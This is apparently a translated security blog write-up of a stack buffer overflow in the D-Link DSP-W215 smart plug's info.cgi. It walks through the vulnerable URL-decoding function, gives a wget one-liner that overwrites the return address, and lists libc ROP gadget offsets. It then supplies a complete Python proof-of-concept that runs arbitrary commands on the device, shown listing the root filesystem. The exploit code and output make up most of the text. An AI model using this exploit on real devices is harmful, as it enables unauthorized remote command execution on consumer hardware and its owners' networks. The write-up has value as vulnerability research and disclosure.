Hack D-Link DSP-W215 Smart Plug. Again and again
- Transfer

In the last exploit for DSP-W215, I said that the get_input_entries function does not crash, you need to use the name "storage_path" in the POST request. This was necessary because there was another buffer overflow, this time in the get_input_entries function, which get_input_entries calls if the name of the parameter parameter is different from “storage_path” or “path”:

One argument is passed to the replace_special_char function - a pointer to the processed POST value:

This function is engaged in decoding the URL:

To decode the URL, the function receives the string length of the POST value that get_input_entries passes:

post_value_length = strlen (post_data);
And it loops through all bytes of post_value_length:

At each iteration, the function stores one decoded (urldecoded) byte, or, if decoding was not required, the original byte of the POST value to the local variable decode_buf on the stack:

In fact, it does this:
void replace_special_char(char *post_data)
{
char decode_buf[0x258];
int post_value_length, i = 0, j = 0;
memset(decode_buf, 0, sizeof(decode_buf));
post_value_length = strlen(post_data);
while(i < post_value_length)
{
/*
* ...
* If post_data[i] == '%', then it's URL encoded; try to decode it here
* (as long as the POST data isn't URL encoded, this code does nothing,
* so it's not shown).
* ...
*/
// No bounds checking on index j!
decode_buf[j] = post_data[i];
j++;
i++;
}
...
return;
}If we look at the replace_special_char stack, we see that a POST value longer than 612 bytes will overflow the entire stack to the first register stored ($ s0), and another 36 bytes will overflow the stored return address ($ ra).

# Overflow $ra with 0x42424242
wget --post-data="foo=$(perl -e 'print "A"x648; print "B"x4')" http://192.168.0.60/common/info.cgi
$ ra = 0 × 42424242
Due to the fact that the decoding loop uses strlen to determine the required number of bytes for copying in decode_buf, we must remember the restriction on the use of NULL bytes in the POST request. This means that the return address that we used in previous exploits will not work, because it request contains NULL bytes, but we can do ROP in libc to achieve the same effect.
Inside libc, at offset 0xBA50, there is a gadget that points to the register $ a1 on the stack ($ sp + 0xB8, to be precise), and then jumps to some address that it receives from the register $ s1:

First ROP gadget
If we rewrite $ s1 with an address with an offset of 0 × 34640 during the buffer overflow, then the program will jump to the next gadget, which will put the register $ a1 in $ a0 (the register with the first argument of the function) and call the function whose address is in $ s0:

Second ROP gadget
So, we made sure that $ s0 points to the system () function (at offset 0x4BC80 in libc), which means we can call system () with a pointer to the stack:
system($sp+0xB8);After adding the base address of libc (0x2AB61000) to all offsets, we can write and test PoC for this vulnerability:
#!/usr/bin/env python
# Exploits overflow in replace_special_char.
import sys
import urllib2
try:
target = sys.argv[1]
command = sys.argv[2]
except:
print "Usage: %s " % sys.argv[0]
sys.exit(1)
url = "http://%s/common/info.cgi" % target
buf = "foo=" # POST parameter name can be anything
buf += "E" * 612 # Stack filler
buf += "\x2A\xBA\xCC\x80" # $s0, address of system()
buf += "\x2A\xB9\x56\x40" # $s1, address of ROP2
buf += "F" * 4 # $s2, don't care
buf += "F" * 4 # $s3, address of ROP2
buf += "F" * 4 # $s4, don't care
buf += "F" * 4 # $s5, address of ROP3
buf += "F" * 4 # $s6, don't care
buf += "F" * 4 # $s7, don't care
buf += "F" * 4 # $fp, don't care
buf += "\x2A\xB6\xCA\x50" # $ra, address of ROP1
buf += "G" * 0xB8 # Stack filler
buf += command # Command to execute
req = urllib2.Request(url, buf)
print urllib2.urlopen(req).read()As before, we can execute any commands and get a response:
$ ./exploit2.py 192.168.0.60 'ls -l /'
drwxr-xr-x 2 1000 1000 4096 May 16 09:01 bin
drwxrwxr-x 3 1000 1000 4096 May 22 18:03 dev
drwxrwxr-x 3 1000 1000 4096 Sep 3 2010 etc
drwxrwxr-x 3 1000 1000 4096 May 16 09:01 lib
drwxr-xr-x 3 1000 1000 4096 May 16 09:01 libexec
lrwxrwxrwx 1 1000 1000 11 May 17 15:20 linuxrc -> bin/busybox
drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 lost+found
drwxrwxr-x 6 1000 1000 4096 May 17 15:15 mnt
drwxr-xr-x 2 1000 1000 4096 May 16 09:01 mydlink
drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 proc
drwxrwxr-x 2 1000 1000 4096 May 17 17:23 root
drwxr-xr-x 2 1000 1000 4096 May 16 09:01 sbin
drwxrwxrwx 3 1000 1000 4096 May 22 19:18 tmp
drwxrwxr-x 7 1000 1000 4096 May 16 09:01 usr
drwxrwxr-x 3 1000 1000 4096 May 17 15:21 var
-rw-r--r-- 1 1000 1000 17 May 16 09:01 version
drwxrwxr-x 6 1000 1000 4096 May 22 17:15 www